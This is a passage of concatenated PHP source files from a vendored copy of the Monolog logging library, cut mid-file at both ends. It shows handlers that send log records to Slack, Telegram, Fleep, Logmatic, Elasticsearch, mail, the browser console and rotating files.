void { if (!extension_loaded('curl')) { throw new MissingExtensionException('The curl extension is required to use http URLs with the CubeHandler'); } $httpConnection = curl_init('http://'.$this->host.':'.$this->port.'/1.0/event/put'); if (false === $httpConnection) { throw new \LogicException('Unable to connect to ' . $this->host . ':' . $this->port); } $this->httpConnection = $httpConnection; curl_setopt($this->httpConnection, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($this->httpConnection, CURLOPT_RETURNTRANSFER, true); } /** * {@inheritDoc} */ protected function write(array $record): void { $date = $record['datetime']; $data = ['time' => $date->format('Y-m-d\TH:i:s.uO')]; unset($record['datetime']); if (isset($record['context']['type'])) { $data['type'] = $record['context']['type']; unset($record['context']['type']); } else { $data['type'] = $record['channel']; } $data['data'] = $record['context']; $data['data']['level'] = $record['level']; if ($this->scheme === 'http') { $this->writeHttp(Utils::jsonEncode($data)); } else { $this->writeUdp(Utils::jsonEncode($data)); } } private function writeUdp(string $data): void { if (!$this->udpConnection) { $this->connectUdp(); } socket_send($this->udpConnection, $data, strlen($data), 0); } private function writeHttp(string $data): void { if (!$this->httpConnection) { $this->connectHttp(); } if (null === $this->httpConnection) { throw new \LogicException('No connection could be established'); } curl_setopt($this->httpConnection, CURLOPT_POSTFIELDS, '['.$data.']'); curl_setopt($this->httpConnection, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'Content-Length: ' . strlen('['.$data.']'), ]); Curl\Util::execute($this->httpConnection, 5, false); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/SlackWebhookHandler.php000064400000007523147577714370024445 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; use Monolog\Utils; use Monolog\Handler\Slack\SlackRecord; /** * Sends notifications through Slack Webhooks * * @author Haralan Dobrev * @see https://api.slack.com/incoming-webhooks */ class SlackWebhookHandler extends AbstractProcessingHandler { /** * Slack Webhook token * @var string */ private $webhookUrl; /** * Instance of the SlackRecord util class preparing data for Slack API. * @var SlackRecord */ private $slackRecord; /** * @param string $webhookUrl Slack Webhook URL * @param string|null $channel Slack channel (encoded ID or name) * @param string|null $username Name of a bot * @param bool $useAttachment Whether the message should be added to Slack as attachment (plain text otherwise) * @param string|null $iconEmoji The emoji name to use (or null) * @param bool $useShortAttachment Whether the the context/extra messages added to Slack as attachments are in a short style * @param bool $includeContextAndExtra Whether the attachment should include context and extra data * @param string[] $excludeFields Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] */ public function __construct( string $webhookUrl, ?string $channel = null, ?string $username = null, bool $useAttachment = true, ?string $iconEmoji = null, bool $useShortAttachment = false, bool $includeContextAndExtra = false, $level = Logger::CRITICAL, bool $bubble = true, array $excludeFields = array() ) { if (!extension_loaded('curl')) { throw new MissingExtensionException('The curl extension is needed to use the SlackWebhookHandler'); } parent::__construct($level, $bubble); $this->webhookUrl = $webhookUrl; $this->slackRecord = new SlackRecord( $channel, $username, $useAttachment, $iconEmoji, $useShortAttachment, $includeContextAndExtra, $excludeFields ); } public function getSlackRecord(): SlackRecord { return $this->slackRecord; } public function getWebhookUrl(): string { return $this->webhookUrl; } /** * {@inheritDoc} */ protected function write(array $record): void { $postData = $this->slackRecord->getSlackData($record); $postString = Utils::jsonEncode($postData); $ch = curl_init(); $options = array( CURLOPT_URL => $this->webhookUrl, CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => array('Content-type: application/json'), CURLOPT_POSTFIELDS => $postString, ); if (defined('CURLOPT_SAFE_UPLOAD')) { $options[CURLOPT_SAFE_UPLOAD] = true; } curl_setopt_array($ch, $options); Curl\Util::execute($ch); } public function setFormatter(FormatterInterface $formatter): HandlerInterface { parent::setFormatter($formatter); $this->slackRecord->setFormatter($formatter); return $this; } public function getFormatter(): FormatterInterface { $formatter = parent::getFormatter(); $this->slackRecord->setFormatter($formatter); return $formatter; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/MailHandler.php000064400000004445147577714370022753 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\HtmlFormatter; /** * Base class for all mail handlers * * @author Gyula Sallai * * @phpstan-import-type Record from \Monolog\Logger */ abstract class MailHandler extends AbstractProcessingHandler { /** * {@inheritDoc} */ public function handleBatch(array $records): void { $messages = []; foreach ($records as $record) { if ($record['level'] < $this->level) { continue; } /** @var Record $message */ $message = $this->processRecord($record); $messages[] = $message; } if (!empty($messages)) { $this->send((string) $this->getFormatter()->formatBatch($messages), $messages); } } /** * Send a mail with the given content * * @param string $content formatted email body to be sent * @param array $records the array of log records that formed this content * * @phpstan-param Record[] $records */ abstract protected function send(string $content, array $records): void; /** * {@inheritDoc} */ protected function write(array $record): void { $this->send((string) $record['formatted'], [$record]); } /** * @phpstan-param non-empty-array $records * @phpstan-return Record */ protected function getHighestRecord(array $records): array { $highestRecord = null; foreach ($records as $record) { if ($highestRecord === null || $highestRecord['level'] < $record['level']) { $highestRecord = $record; } } return $highestRecord; } protected function isHtmlBody(string $body): bool { return ($body[0] ?? null) === '<'; } /** * Gets the default formatter. * * @return FormatterInterface */ protected function getDefaultFormatter(): FormatterInterface { return new HtmlFormatter(); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/FleepHookHandler.php000064400000007011147577714370023735 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LineFormatter; use Monolog\Logger; /** * Sends logs to Fleep.io using Webhook integrations * * You'll need a Fleep.io account to use this handler. * * @see https://fleep.io/integrations/webhooks/ Fleep Webhooks Documentation * @author Ando Roots * * @phpstan-import-type FormattedRecord from AbstractProcessingHandler */ class FleepHookHandler extends SocketHandler { protected const FLEEP_HOST = 'fleep.io'; protected const FLEEP_HOOK_URI = '/hook/'; /** * @var string Webhook token (specifies the conversation where logs are sent) */ protected $token; /** * Construct a new Fleep.io Handler. * * For instructions on how to create a new web hook in your conversations * see https://fleep.io/integrations/webhooks/ * * @param string $token Webhook token * @throws MissingExtensionException */ public function __construct( string $token, $level = Logger::DEBUG, bool $bubble = true, bool $persistent = false, float $timeout = 0.0, float $writingTimeout = 10.0, ?float $connectionTimeout = null, ?int $chunkSize = null ) { if (!extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP extension is required to use the FleepHookHandler'); } $this->token = $token; $connectionString = 'ssl://' . static::FLEEP_HOST . ':443'; parent::__construct( $connectionString, $level, $bubble, $persistent, $timeout, $writingTimeout, $connectionTimeout, $chunkSize ); } /** * Returns the default formatter to use with this handler * * Overloaded to remove empty context and extra arrays from the end of the log message. * * @return LineFormatter */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter(null, null, true, true); } /** * Handles a log record */ public function write(array $record): void { parent::write($record); $this->closeSocket(); } /** * {@inheritDoc} */ protected function generateDataStream(array $record): string { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } /** * Builds the header of the API Call */ private function buildHeader(string $content): string { $header = "POST " . static::FLEEP_HOOK_URI . $this->token . " HTTP/1.1\r\n"; $header .= "Host: " . static::FLEEP_HOST . "\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } /** * Builds the body of API call * * @phpstan-param FormattedRecord $record */ private function buildContent(array $record): string { $dataArray = [ 'message' => $record['formatted'], ]; return http_build_query($dataArray); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/LogmaticHandler.php000064400000005234147577714370023625 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LogmaticFormatter; /** * @author Julien Breux */ class LogmaticHandler extends SocketHandler { /** * @var string */ private $logToken; /** * @var string */ private $hostname; /** * @var string */ private $appname; /** * @param string $token Log token supplied by Logmatic. * @param string $hostname Host name supplied by Logmatic. * @param string $appname Application name supplied by Logmatic. * @param bool $useSSL Whether or not SSL encryption should be used. * * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing */ public function __construct( string $token, string $hostname = '', string $appname = '', bool $useSSL = true, $level = Logger::DEBUG, bool $bubble = true, bool $persistent = false, float $timeout = 0.0, float $writingTimeout = 10.0, ?float $connectionTimeout = null, ?int $chunkSize = null ) { if ($useSSL && !extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP extension is required to use SSL encrypted connection for LogmaticHandler'); } $endpoint = $useSSL ? 'ssl://api.logmatic.io:10515' : 'api.logmatic.io:10514'; $endpoint .= '/v1/'; parent::__construct( $endpoint, $level, $bubble, $persistent, $timeout, $writingTimeout, $connectionTimeout, $chunkSize ); $this->logToken = $token; $this->hostname = $hostname; $this->appname = $appname; } /** * {@inheritDoc} */ protected function generateDataStream(array $record): string { return $this->logToken . ' ' . $record['formatted']; } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { $formatter = new LogmaticFormatter(); if (!empty($this->hostname)) { $formatter->setHostname($this->hostname); } if (!empty($this->appname)) { $formatter->setAppname($this->appname); } return $formatter; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/BrowserConsoleHandler.php000064400000021443147577714370025034 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LineFormatter; use Monolog\Utils; use function count; use function headers_list; use function stripos; use function trigger_error; use const E_USER_DEPRECATED; /** * Handler sending logs to browser's javascript console with no browser extension required * * @author Olivier Poitrey * * @phpstan-import-type FormattedRecord from AbstractProcessingHandler */ class BrowserConsoleHandler extends AbstractProcessingHandler { /** @var bool */ protected static $initialized = false; /** @var FormattedRecord[] */ protected static $records = []; protected const FORMAT_HTML = 'html'; protected const FORMAT_JS = 'js'; protected const FORMAT_UNKNOWN = 'unknown'; /** * {@inheritDoc} * * Formatted output may contain some formatting markers to be transferred to `console.log` using the %c format. * * Example of formatted string: * * You can do [[blue text]]{color: blue} or [[green background]]{background-color: green; color: white} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter('[[%channel%]]{macro: autolabel} [[%level_name%]]{font-weight: bold} %message%'); } /** * {@inheritDoc} */ protected function write(array $record): void { // Accumulate records static::$records[] = $record; // Register shutdown handler if not already done if (!static::$initialized) { static::$initialized = true; $this->registerShutdownFunction(); } } /** * Convert records to javascript console commands and send it to the browser. * This method is automatically called on PHP shutdown if output is HTML or Javascript. */ public static function send(): void { $format = static::getResponseFormat(); if ($format === self::FORMAT_UNKNOWN) { return; } if (count(static::$records)) { if ($format === self::FORMAT_HTML) { static::writeOutput(''); } elseif ($format === self::FORMAT_JS) { static::writeOutput(static::generateScript()); } static::resetStatic(); } } public function close(): void { self::resetStatic(); } public function reset() { parent::reset(); self::resetStatic(); } /** * Forget all logged records */ public static function resetStatic(): void { static::$records = []; } /** * Wrapper for register_shutdown_function to allow overriding */ protected function registerShutdownFunction(): void { if (PHP_SAPI !== 'cli') { register_shutdown_function(['Monolog\Handler\BrowserConsoleHandler', 'send']); } } /** * Wrapper for echo to allow overriding */ protected static function writeOutput(string $str): void { echo $str; } /** * Checks the format of the response * * If Content-Type is set to application/javascript or text/javascript -> js * If Content-Type is set to text/html, or is unset -> html * If Content-Type is anything else -> unknown * * @return string One of 'js', 'html' or 'unknown' * @phpstan-return self::FORMAT_* */ protected static function getResponseFormat(): string { // Check content type foreach (headers_list() as $header) { if (stripos($header, 'content-type:') === 0) { return static::getResponseFormatFromContentType($header); } } return self::FORMAT_HTML; } /** * @return string One of 'js', 'html' or 'unknown' * @phpstan-return self::FORMAT_* */ protected static function getResponseFormatFromContentType(string $contentType): string { // This handler only works with HTML and javascript outputs // text/javascript is obsolete in favour of application/javascript, but still used if (stripos($contentType, 'application/javascript') !== false || stripos($contentType, 'text/javascript') !== false) { return self::FORMAT_JS; } if (stripos($contentType, 'text/html') !== false) { return self::FORMAT_HTML; } return self::FORMAT_UNKNOWN; } private static function generateScript(): string { $script = []; foreach (static::$records as $record) { $context = static::dump('Context', $record['context']); $extra = static::dump('Extra', $record['extra']); if (empty($context) && empty($extra)) { $script[] = static::call_array('log', static::handleStyles($record['formatted'])); } else { $script = array_merge( $script, [static::call_array('groupCollapsed', static::handleStyles($record['formatted']))], $context, $extra, [static::call('groupEnd')] ); } } return "(function (c) {if (c && c.groupCollapsed) {\n" . implode("\n", $script) . "\n}})(console);"; } /** * @return string[] */ private static function handleStyles(string $formatted): array { $args = []; $format = '%c' . $formatted; preg_match_all('/\[\[(.*?)\]\]\{([^}]*)\}/s', $format, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER); foreach (array_reverse($matches) as $match) { $args[] = '"font-weight: normal"'; $args[] = static::quote(static::handleCustomStyles($match[2][0], $match[1][0])); $pos = $match[0][1]; $format = Utils::substr($format, 0, $pos) . '%c' . $match[1][0] . '%c' . Utils::substr($format, $pos + strlen($match[0][0])); } $args[] = static::quote('font-weight: normal'); $args[] = static::quote($format); return array_reverse($args); } private static function handleCustomStyles(string $style, string $string): string { static $colors = ['blue', 'green', 'red', 'magenta', 'orange', 'black', 'grey']; static $labels = []; $style = preg_replace_callback('/macro\s*:(.*?)(?:;|$)/', function (array $m) use ($string, &$colors, &$labels) { if (trim($m[1]) === 'autolabel') { // Format the string as a label with consistent auto assigned background color if (!isset($labels[$string])) { $labels[$string] = $colors[count($labels) % count($colors)]; } $color = $labels[$string]; return "background-color: $color; color: white; border-radius: 3px; padding: 0 2px 0 2px"; } return $m[1]; }, $style); if (null === $style) { $pcreErrorCode = preg_last_error(); throw new \RuntimeException('Failed to run preg_replace_callback: ' . $pcreErrorCode . ' / ' . Utils::pcreLastErrorMessage($pcreErrorCode)); } return $style; } /** * @param mixed[] $dict * @return mixed[] */ private static function dump(string $title, array $dict): array { $script = []; $dict = array_filter($dict); if (empty($dict)) { return $script; } $script[] = static::call('log', static::quote('%c%s'), static::quote('font-weight: bold'), static::quote($title)); foreach ($dict as $key => $value) { $value = json_encode($value); if (empty($value)) { $value = static::quote(''); } $script[] = static::call('log', static::quote('%s: %o'), static::quote((string) $key), $value); } return $script; } private static function quote(string $arg): string { return '"' . addcslashes($arg, "\"\n\\") . '"'; } /** * @param mixed $args */ private static function call(...$args): string { $method = array_shift($args); if (!is_string($method)) { throw new \UnexpectedValueException('Expected the first arg to be a string, got: '.var_export($method, true)); } return static::call_array($method, $args); } /** * @param mixed[] $args */ private static function call_array(string $method, array $args): string { return 'c.' . $method . '(' . implode(', ', $args) . ');'; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/FormattableHandlerTrait.php000064400000002401147577714370025323 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LineFormatter; /** * Helper trait for implementing FormattableInterface * * @author Jordi Boggiano */ trait FormattableHandlerTrait { /** * @var ?FormatterInterface */ protected $formatter; /** * {@inheritDoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $this->formatter = $formatter; return $this; } /** * {@inheritDoc} */ public function getFormatter(): FormatterInterface { if (!$this->formatter) { $this->formatter = $this->getDefaultFormatter(); } return $this->formatter; } /** * Gets the default formatter. * * Overwrite this if the LineFormatter is not a good default for your handler. */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter(); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/TelegramBotHandler.php000064400000020336147577714370024273 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use RuntimeException; use Monolog\Logger; use Monolog\Utils; /** * Handler send logs to Telegram using Telegram Bot API. * * How to use: * 1) Create telegram bot with https://telegram.me/BotFather * 2) Create a telegram channel where logs will be recorded. * 3) Add created bot from step 1 to the created channel from step 2. * * Use telegram bot API key from step 1 and channel name with '@' prefix from step 2 to create instance of TelegramBotHandler * * @link https://core.telegram.org/bots/api * * @author Mazur Alexandr * * @phpstan-import-type Record from \Monolog\Logger */ class TelegramBotHandler extends AbstractProcessingHandler { private const BOT_API = 'https://api.telegram.org/bot'; /** * The available values of parseMode according to the Telegram api documentation */ private const AVAILABLE_PARSE_MODES = [ 'HTML', 'MarkdownV2', 'Markdown', // legacy mode without underline and strikethrough, use MarkdownV2 instead ]; /** * The maximum number of characters allowed in a message according to the Telegram api documentation */ private const MAX_MESSAGE_LENGTH = 4096; /** * Telegram bot access token provided by BotFather. * Create telegram bot with https://telegram.me/BotFather and use access token from it. * @var string */ private $apiKey; /** * Telegram channel name. * Since to start with '@' symbol as prefix. * @var string */ private $channel; /** * The kind of formatting that is used for the message. * See available options at https://core.telegram.org/bots/api#formatting-options * or in AVAILABLE_PARSE_MODES * @var ?string */ private $parseMode; /** * Disables link previews for links in the message. * @var ?bool */ private $disableWebPagePreview; /** * Sends the message silently. Users will receive a notification with no sound. * @var ?bool */ private $disableNotification; /** * True - split a message longer than MAX_MESSAGE_LENGTH into parts and send in multiple messages. * False - truncates a message that is too long. * @var bool */ private $splitLongMessages; /** * Adds 1-second delay between sending a split message (according to Telegram API to avoid 429 Too Many Requests). * @var bool */ private $delayBetweenMessages; /** * @param string $apiKey Telegram bot access token provided by BotFather * @param string $channel Telegram channel name * @param bool $splitLongMessages Split a message longer than MAX_MESSAGE_LENGTH into parts and send in multiple messages * @param bool $delayBetweenMessages Adds delay between sending a split message according to Telegram API * @throws MissingExtensionException */ public function __construct( string $apiKey, string $channel, $level = Logger::DEBUG, bool $bubble = true, string $parseMode = null, bool $disableWebPagePreview = null, bool $disableNotification = null, bool $splitLongMessages = false, bool $delayBetweenMessages = false ) { if (!extension_loaded('curl')) { throw new MissingExtensionException('The curl extension is needed to use the TelegramBotHandler'); } parent::__construct($level, $bubble); $this->apiKey = $apiKey; $this->channel = $channel; $this->setParseMode($parseMode); $this->disableWebPagePreview($disableWebPagePreview); $this->disableNotification($disableNotification); $this->splitLongMessages($splitLongMessages); $this->delayBetweenMessages($delayBetweenMessages); } public function setParseMode(string $parseMode = null): self { if ($parseMode !== null && !in_array($parseMode, self::AVAILABLE_PARSE_MODES)) { throw new \InvalidArgumentException('Unknown parseMode, use one of these: ' . implode(', ', self::AVAILABLE_PARSE_MODES) . '.'); } $this->parseMode = $parseMode; return $this; } public function disableWebPagePreview(bool $disableWebPagePreview = null): self { $this->disableWebPagePreview = $disableWebPagePreview; return $this; } public function disableNotification(bool $disableNotification = null): self { $this->disableNotification = $disableNotification; return $this; } /** * True - split a message longer than MAX_MESSAGE_LENGTH into parts and send in multiple messages. * False - truncates a message that is too long. * @param bool $splitLongMessages * @return $this */ public function splitLongMessages(bool $splitLongMessages = false): self { $this->splitLongMessages = $splitLongMessages; return $this; } /** * Adds 1-second delay between sending a split message (according to Telegram API to avoid 429 Too Many Requests). * @param bool $delayBetweenMessages * @return $this */ public function delayBetweenMessages(bool $delayBetweenMessages = false): self { $this->delayBetweenMessages = $delayBetweenMessages; return $this; } /** * {@inheritDoc} */ public function handleBatch(array $records): void { /** @var Record[] $messages */ $messages = []; foreach ($records as $record) { if (!$this->isHandling($record)) { continue; } if ($this->processors) { /** @var Record $record */ $record = $this->processRecord($record); } $messages[] = $record; } if (!empty($messages)) { $this->send((string)$this->getFormatter()->formatBatch($messages)); } } /** * @inheritDoc */ protected function write(array $record): void { $this->send($record['formatted']); } /** * Send request to @link https://api.telegram.org/bot on SendMessage action. * @param string $message */ protected function send(string $message): void { $messages = $this->handleMessageLength($message); foreach ($messages as $key => $msg) { if ($this->delayBetweenMessages && $key > 0) { sleep(1); } $this->sendCurl($msg); } } protected function sendCurl(string $message): void { $ch = curl_init(); $url = self::BOT_API . $this->apiKey . '/SendMessage'; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'text' => $message, 'chat_id' => $this->channel, 'parse_mode' => $this->parseMode, 'disable_web_page_preview' => $this->disableWebPagePreview, 'disable_notification' => $this->disableNotification, ])); $result = Curl\Util::execute($ch); if (!is_string($result)) { throw new RuntimeException('Telegram API error. Description: No response'); } $result = json_decode($result, true); if ($result['ok'] === false) { throw new RuntimeException('Telegram API error. Description: ' . $result['description']); } } /** * Handle a message that is too long: truncates or splits into several * @param string $message * @return string[] */ private function handleMessageLength(string $message): array { $truncatedMarker = ' (...truncated)'; if (!$this->splitLongMessages && strlen($message) > self::MAX_MESSAGE_LENGTH) { return [Utils::substr($message, 0, self::MAX_MESSAGE_LENGTH - strlen($truncatedMarker)) . $truncatedMarker]; } return str_split($message, self::MAX_MESSAGE_LENGTH); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/NoopHandler.php000064400000001560147577714370022777 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * No-op * * This handler handles anything, but does nothing, and does not stop bubbling to the rest of the stack. * This can be used for testing, or to disable a handler when overriding a configuration without * influencing the rest of the stack. * * @author Roel Harbers */ class NoopHandler extends Handler { /** * {@inheritDoc} */ public function isHandling(array $record): bool { return true; } /** * {@inheritDoc} */ public function handle(array $record): bool { return false; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/ElasticsearchHandler.php000064400000012261147577714370024636 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Throwable; use RuntimeException; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\ElasticsearchFormatter; use InvalidArgumentException; use Elasticsearch\Common\Exceptions\RuntimeException as ElasticsearchRuntimeException; use Elasticsearch\Client; /** * Elasticsearch handler * * @link https://www.elastic.co/guide/en/elasticsearch/client/php-api/current/index.html * * Simple usage example: * * $client = \Elasticsearch\ClientBuilder::create() * ->setHosts($hosts) * ->build(); * * $options = array( * 'index' => 'elastic_index_name', * 'type' => 'elastic_doc_type', * ); * $handler = new ElasticsearchHandler($client, $options); * $log = new Logger('application'); * $log->pushHandler($handler); * * @author Avtandil Kikabidze */ class ElasticsearchHandler extends AbstractProcessingHandler { /** * @var Client */ protected $client; /** * @var mixed[] Handler config options */ protected $options = []; /** * @param Client $client Elasticsearch Client object * @param mixed[] $options Handler configuration */ public function __construct(Client $client, array $options = [], $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->client = $client; $this->options = array_merge( [ 'index' => 'monolog', // Elastic index name 'type' => '_doc', // Elastic document type 'ignore_error' => false, // Suppress Elasticsearch exceptions ], $options ); } /** * {@inheritDoc} */ protected function write(array $record): void { $this->bulkSend([$record['formatted']]); } /** * {@inheritDoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($formatter instanceof ElasticsearchFormatter) { return parent::setFormatter($formatter); } throw new InvalidArgumentException('ElasticsearchHandler is only compatible with ElasticsearchFormatter'); } /** * Getter options * * @return mixed[] */ public function getOptions(): array { return $this->options; } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new ElasticsearchFormatter($this->options['index'], $this->options['type']); } /** * {@inheritDoc} */ public function handleBatch(array $records): void { $documents = $this->getFormatter()->formatBatch($records); $this->bulkSend($documents); } /** * Use Elasticsearch bulk API to send list of documents * * @param array[] $records Records + _index/_type keys * @throws \RuntimeException */ protected function bulkSend(array $records): void { try { $params = [ 'body' => [], ]; foreach ($records as $record) { $params['body'][] = [ 'index' => [ '_index' => $record['_index'], '_type' => $record['_type'], ], ]; unset($record['_index'], $record['_type']); $params['body'][] = $record; } $responses = $this->client->bulk($params); if ($responses['errors'] === true) { throw $this->createExceptionFromResponses($responses); } } catch (Throwable $e) { if (! $this->options['ignore_error']) { throw new RuntimeException('Error sending messages to Elasticsearch', 0, $e); } } } /** * Creates elasticsearch exception from responses array * * Only the first error is converted into an exception. * * @param mixed[] $responses returned by $this->client->bulk() */ protected function createExceptionFromResponses(array $responses): ElasticsearchRuntimeException { foreach ($responses['items'] ?? [] as $item) { if (isset($item['index']['error'])) { return $this->createExceptionFromError($item['index']['error']); } } return new ElasticsearchRuntimeException('Elasticsearch failed to index one or more records.'); } /** * Creates elasticsearch exception from error array * * @param mixed[] $error */ protected function createExceptionFromError(array $error): ElasticsearchRuntimeException { $previous = isset($error['caused_by']) ? $this->createExceptionFromError($error['caused_by']) : null; return new ElasticsearchRuntimeException($error['type'] . ': ' . $error['reason'], 0, $previous); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/HandlerWrapper.php000064400000006436147577714370023513 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\ResettableInterface; use Monolog\Formatter\FormatterInterface; /** * This simple wrapper class can be used to extend handlers functionality. * * Example: A custom filtering that can be applied to any handler. * * Inherit from this class and override handle() like this: * * public function handle(array $record) * { * if ($record meets certain conditions) { * return false; * } * return $this->handler->handle($record); * } * * @author Alexey Karapetov */ class HandlerWrapper implements HandlerInterface, ProcessableHandlerInterface, FormattableHandlerInterface, ResettableInterface { /** * @var HandlerInterface */ protected $handler; public function __construct(HandlerInterface $handler) { $this->handler = $handler; } /** * {@inheritDoc} */ public function isHandling(array $record): bool { return $this->handler->isHandling($record); } /** * {@inheritDoc} */ public function handle(array $record): bool { return $this->handler->handle($record); } /** * {@inheritDoc} */ public function handleBatch(array $records): void { $this->handler->handleBatch($records); } /** * {@inheritDoc} */ public function close(): void { $this->handler->close(); } /** * {@inheritDoc} */ public function pushProcessor(callable $callback): HandlerInterface { if ($this->handler instanceof ProcessableHandlerInterface) { $this->handler->pushProcessor($callback); return $this; } throw new \LogicException('The wrapped handler does not implement ' . ProcessableHandlerInterface::class); } /** * {@inheritDoc} */ public function popProcessor(): callable { if ($this->handler instanceof ProcessableHandlerInterface) { return $this->handler->popProcessor(); } throw new \LogicException('The wrapped handler does not implement ' . ProcessableHandlerInterface::class); } /** * {@inheritDoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($this->handler instanceof FormattableHandlerInterface) { $this->handler->setFormatter($formatter); return $this; } throw new \LogicException('The wrapped handler does not implement ' . FormattableHandlerInterface::class); } /** * {@inheritDoc} */ public function getFormatter(): FormatterInterface { if ($this->handler instanceof FormattableHandlerInterface) { return $this->handler->getFormatter(); } throw new \LogicException('The wrapped handler does not implement ' . FormattableHandlerInterface::class); } public function reset() { if ($this->handler instanceof ResettableInterface) { $this->handler->reset(); } } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/RotatingFileHandler.php000064400000014126147577714370024455 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use InvalidArgumentException; use Monolog\Logger; use Monolog\Utils; /** * Stores logs to files that are rotated every day and a limited number of files are kept. * * This rotation is only intended to be used as a workaround. Using logrotate to * handle the rotation is strongly encouraged when you can use it. * * @author Christophe Coevoet * @author Jordi Boggiano */ class RotatingFileHandler extends StreamHandler { public const FILE_PER_DAY = 'Y-m-d'; public const FILE_PER_MONTH = 'Y-m'; public const FILE_PER_YEAR = 'Y'; /** @var string */ protected $filename; /** @var int */ protected $maxFiles; /** @var bool */ protected $mustRotate; /** @var \DateTimeImmutable */ protected $nextRotation; /** @var string */ protected $filenameFormat; /** @var string */ protected $dateFormat; /** * @param string $filename * @param int $maxFiles The maximal amount of files to keep (0 means unlimited) * @param int|null $filePermission Optional file permissions (default (0644) are only for owner read/write) * @param bool $useLocking Try to lock log file before doing any writes */ public function __construct(string $filename, int $maxFiles = 0, $level = Logger::DEBUG, bool $bubble = true, ?int $filePermission = null, bool $useLocking = false) { $this->filename = Utils::canonicalizePath($filename); $this->maxFiles = $maxFiles; $this->nextRotation = new \DateTimeImmutable('tomorrow'); $this->filenameFormat = '{filename}-{date}'; $this->dateFormat = static::FILE_PER_DAY; parent::__construct($this->getTimedFilename(), $level, $bubble, $filePermission, $useLocking); } /** * {@inheritDoc} */ public function close(): void { parent::close(); if (true === $this->mustRotate) { $this->rotate(); } } /** * {@inheritDoc} */ public function reset() { parent::reset(); if (true === $this->mustRotate) { $this->rotate(); } } public function setFilenameFormat(string $filenameFormat, string $dateFormat): self { if (!preg_match('{^[Yy](([/_.-]?m)([/_.-]?d)?)?$}', $dateFormat)) { throw new InvalidArgumentException( 'Invalid date format - format must be one of '. 'RotatingFileHandler::FILE_PER_DAY ("Y-m-d"), RotatingFileHandler::FILE_PER_MONTH ("Y-m") '. 'or RotatingFileHandler::FILE_PER_YEAR ("Y"), or you can set one of the '. 'date formats using slashes, underscores and/or dots instead of dashes.' ); } if (substr_count($filenameFormat, '{date}') === 0) { throw new InvalidArgumentException( 'Invalid filename format - format must contain at least `{date}`, because otherwise rotating is impossible.' ); } $this->filenameFormat = $filenameFormat; $this->dateFormat = $dateFormat; $this->url = $this->getTimedFilename(); $this->close(); return $this; } /** * {@inheritDoc} */ protected function write(array $record): void { // on the first record written, if the log is new, we should rotate (once per day) if (null === $this->mustRotate) { $this->mustRotate = null === $this->url || !file_exists($this->url); } if ($this->nextRotation <= $record['datetime']) { $this->mustRotate = true; $this->close(); } parent::write($record); } /** * Rotates the files. */ protected function rotate(): void { // update filename $this->url = $this->getTimedFilename(); $this->nextRotation = new \DateTimeImmutable('tomorrow'); // skip GC of old logs if files are unlimited if (0 === $this->maxFiles) { return; } $logFiles = glob($this->getGlobPattern()); if (false === $logFiles) { // failed to glob return; } if ($this->maxFiles >= count($logFiles)) { // no files to 